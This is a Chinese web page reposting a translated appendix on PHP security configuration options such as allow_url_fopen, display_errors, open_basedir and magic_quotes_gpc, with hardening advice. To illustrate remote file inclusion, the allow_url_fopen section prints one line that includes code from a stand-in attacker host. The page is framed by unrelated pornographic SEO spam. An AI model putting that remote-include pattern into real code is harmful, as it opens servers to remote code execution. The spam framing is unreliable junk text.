国产成人精品久久免费动漫-国产成人精品天堂-国产成人精品区在线观看-国产成人精品日本-a级毛片无码免费真人-a级毛片毛片免费观看久潮喷

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

PHP安全-配置選項(xiàng)

瀏覽:99日期:2022-09-11 17:41:09
配置選項(xiàng)

盡管本書(shū)的焦點(diǎn)是在于應(yīng)用的安全性,但有一些配置選項(xiàng)是任何關(guān)心安全的開(kāi)發(fā)者必需熟悉的。PHP的配置會(huì)影響你所寫(xiě)代碼的行為以及你使用的技巧,必要時(shí)你需要稍稍負(fù)責(zé)一下應(yīng)用程序以外的東西。

PHP的配置主要由一個(gè)名為php.ini的文件所指定。該文件包含很多配置選項(xiàng),每一項(xiàng)都會(huì)對(duì)PHP產(chǎn)生非常特定的影響。如果該文件不存在,或者該文件中的某選項(xiàng)不存在,則會(huì)使用默認(rèn)值。

如果你不知道php.ini文件所在的位置,你可以使用phpinfo( )來(lái)確定PHP中對(duì)該文件路徑的定義:

<?php

phpinfo();

?>

圖A-1 所示的第六行(配置文件(php.ini)路徑)顯示了php.ini的完整路徑。如果只顯示了路徑(沒(méi)有文件名),這就意味著PHP無(wú)法在所示路徑找到php.ini文件。

該文件包含的自身說(shuō)明非常好,因此你可以閱讀該文件并選擇適合你的配置選項(xiàng)。而手冊(cè)更是詳細(xì),所以在你需要某一選項(xiàng)的更多信息時(shí),我推薦訪問(wèn)http://php.net/manual/ini.php

圖A-1. phpinfo( ) 函數(shù)可用于php.ini文件的定位

PHP安全-配置選項(xiàng)

A.1. allow_url_fopen

正如第六章所示,allow_url_fopen選項(xiàng)允許你如同本地文件一樣引用遠(yuǎn)程資源:

<?php

$contents = file_get_contents(’http://example.org/xss.html’);

?>

在第五章中揭示了當(dāng)它與include或require相結(jié)合時(shí)的危險(xiǎn)性:

<?php

include ’http://evil.example.org/evil.inc’;

?>

我推薦關(guān)閉allow_url_fopen選項(xiàng),除非你的應(yīng)用需要它。

A.2. disable_functions

disable_functions選項(xiàng)是非常有用的,它可以確保一些有潛在威脅的函數(shù)不能被使用。盡管可以建立規(guī)范去禁止使用這些函數(shù),但在PHP配置中進(jìn)行限制要比依賴于開(kāi)發(fā)者對(duì)規(guī)范的遵循要可靠得多。

我建立對(duì)附錄B列出的函數(shù)進(jìn)行檢查,看一下是否要對(duì)一些函數(shù)進(jìn)行限制。

A.3. display_errors

PHP的錯(cuò)誤報(bào)告可以幫助你發(fā)現(xiàn)你所寫(xiě)代碼中的錯(cuò)誤。當(dāng)你開(kāi)發(fā)應(yīng)用時(shí),把錯(cuò)誤提示顯示出來(lái)是取得即時(shí)反饋的有效方法,同時(shí)也可以加快開(kāi)發(fā)速度。

在一個(gè)產(chǎn)品級(jí)的應(yīng)用中,這一行為會(huì)成為一項(xiàng)安全風(fēng)險(xiǎn)。如果它顯示錯(cuò)誤信息,所有人就可以得知你的應(yīng)用中的重要信息。

在產(chǎn)品中你需要關(guān)閉display_errors選項(xiàng)。

A.4. enable_dl

enable_dl選項(xiàng)用于控制dl()函數(shù)是否生效,該函數(shù)允許在運(yùn)行時(shí)加載PHP擴(kuò)展。

使用dl()函數(shù)可能導(dǎo)致攻擊者繞過(guò)open_basedir限制,因此除非有必要,你必須在你的應(yīng)用中禁止它。

A.5. error_reporting

很多安全漏洞是由于使用了未初始化的變量或其它隨意的編程方法引起的。通過(guò)把PHP的error_reporting選項(xiàng)置為E_ALL 或 E_ALL | E_STRICT,PHP就會(huì)對(duì)上述行為進(jìn)行提示。這些設(shè)置都為報(bào)告Notice級(jí)別的錯(cuò)誤。

我建議把error_reporting至少設(shè)定為E_ALL。(譯注:在開(kāi)發(fā)中)

A.6. file_uploads

file_uploads選項(xiàng)決定了是否允許上傳文件。因此,如果你的應(yīng)用不需要用戶上傳文件,那么關(guān)閉該選項(xiàng)就是最好的選擇。

只是簡(jiǎn)單地在PHP代碼中不對(duì)上傳文件進(jìn)行處理是不夠的,因?yàn)樵趫?zhí)行你的代碼前,PHP就做了一些工作(如根據(jù)相關(guān)部據(jù)生成$_FILES數(shù)組)。

A.7. log_errors

當(dāng)log_errors設(shè)為有效時(shí),PHP會(huì)向error_log配置選項(xiàng)指定的文件中寫(xiě)入所有出錯(cuò)信息。

當(dāng)display_errors設(shè)為無(wú)效時(shí),將log_errors設(shè)為有效是很重要的;否則你將無(wú)法看到睛出錯(cuò)信息。

我建議將log_errors設(shè)為有效并在error_log設(shè)定日志文件所在位置。

A.8. magic_quotes_gpc

magic_quotes_gpc是一個(gè)常用的選項(xiàng),它目的是防止SQL注入。但出于很多原因,包括它轉(zhuǎn)義輸入的方式,證明了它是不完善的。

它對(duì)$_GET, $_POST, 以及 $_COOKIE中的數(shù)據(jù)使用同樣的規(guī)則即addslashes( )函數(shù)進(jìn)行處理。從而,它并沒(méi)有根據(jù)你的數(shù)據(jù)庫(kù)選用對(duì)應(yīng)的轉(zhuǎn)義函數(shù)進(jìn)行處理。

基于兩個(gè)主要的原因,你需要把get_magic_quotes_gpc設(shè)為無(wú)效:

首先,它會(huì)加大你的輸入過(guò)濾邏輯的復(fù)雜性,這是由于它在執(zhí)行你的代碼前首先對(duì)數(shù)據(jù)進(jìn)行了編輯。例如,你需要對(duì)輸入的姓名進(jìn)行過(guò)濾,其邏輯是只允許字母、空格、連詞符以及單引號(hào),當(dāng)magic_quotes_gpc生效時(shí),你必須適應(yīng)形如O’Reilly的姓名或者使用stripslashes( )嘗試將它恢復(fù)原形。這一不必要的復(fù)雜性(或者說(shuō)不嚴(yán)謹(jǐn)?shù)倪^(guò)濾規(guī)則)加大了發(fā)生錯(cuò)誤的可能性,同時(shí),你的輸入過(guò)濾機(jī)制中的缺陷必然會(huì)導(dǎo)致安全漏洞。

其次,它并沒(méi)有根據(jù)你的數(shù)據(jù)庫(kù)選用對(duì)應(yīng)的轉(zhuǎn)義函數(shù)進(jìn)行處理。這樣,由于它可以抵擋一些低層次或偶發(fā)的攻擊,掩蓋了它是一個(gè)糟糕的過(guò)濾或轉(zhuǎn)義機(jī)制這個(gè)事實(shí),從而留下了一個(gè)安全漏洞,使你的應(yīng)用無(wú)法抵擋如針對(duì)字符集的攻擊等更復(fù)雜的攻擊手段。

A.9. memory_limit

為防止寫(xiě)得糟糕的腳本占用所有的可用內(nèi)存,可以使用memory_limit選項(xiàng)對(duì)最大內(nèi)存使用量進(jìn)行限制(以字節(jié)方式或縮寫(xiě)方式如8M指定)。

盡管最佳的取值是與運(yùn)行的應(yīng)用是相關(guān)的,我還是建議在大多情況下使用默認(rèn)值8M。

memory_limit選項(xiàng)只有在PHP指定了enable-memory-limit方式編譯時(shí)才會(huì)生效。

A.10. open_basedir

open_basedir選項(xiàng)會(huì)限制PHP只能在它指定的目錄中打開(kāi)文件。盡管它不能取代正確的輸入過(guò)濾,但該選項(xiàng)能減少利用文件系統(tǒng)相關(guān)函數(shù)如include及require進(jìn)行的攻擊。

該選項(xiàng)的值會(huì)被當(dāng)做前綴使用,因此當(dāng)你想表示指定目錄時(shí)請(qǐng)小心不要漏了最后的斜杠:

open_basedir = /path/to/

小提示

請(qǐng)確認(rèn)enable_dl選項(xiàng)是關(guān)閉的,否則open_basedir的限制可能會(huì)被繞過(guò)。

A.11. register_globals

見(jiàn)第二章

A.12. safe_mode

見(jiàn)第八章

PHP安全-配置選項(xiàng)

標(biāo)簽: PHP
相關(guān)文章:
主站蜘蛛池模板: 美国三级视频 | 国产一级一级毛片 | u影一族亚洲精品欧美激情 va欧美 | 久久久久综合国产 | 搞黄网站免费看 | 一级做a| 日本a级毛片视频播放 | 欧美日韩在线观看视频 | 99在线热视频只有精品免费 | 久久精品国产亚洲7777小说 | 欧美性另类69xxxx极品 | 久久亚洲国产午夜精品理论片 | 美女曰皮 | 国产成人yy精品1024在线 | 日本不卡一区视频 | 国产一级成人毛片 | 日本在线观看www免费 | 在线视频免费国产成人 | 九草网| 在线观看日本污污ww网站 | 日韩精品一级毛片 | 免费一级网站 | 久久网在线 | 性视频亚洲 | 99国产精品久久久久久久... | 九九精品视频在线播放 | 又黄又刺激下面流水的视频 | 日本高清视频在线观看 | 国产日产高清欧美一区二区三区 | 成年人看的黄色片 | 成年人午夜免费视频 | 日本成人免费在线视频 | 特级a做爰全过程片 | 一级a美女毛片 | 在线观看国产精品一区 | 日本三级中文字幕 | 中文在线免费视频 | 精品国产三级在线观看 | 亚洲国产午夜精品理论片的软件 | 亚洲一二区 | 久草热视频 |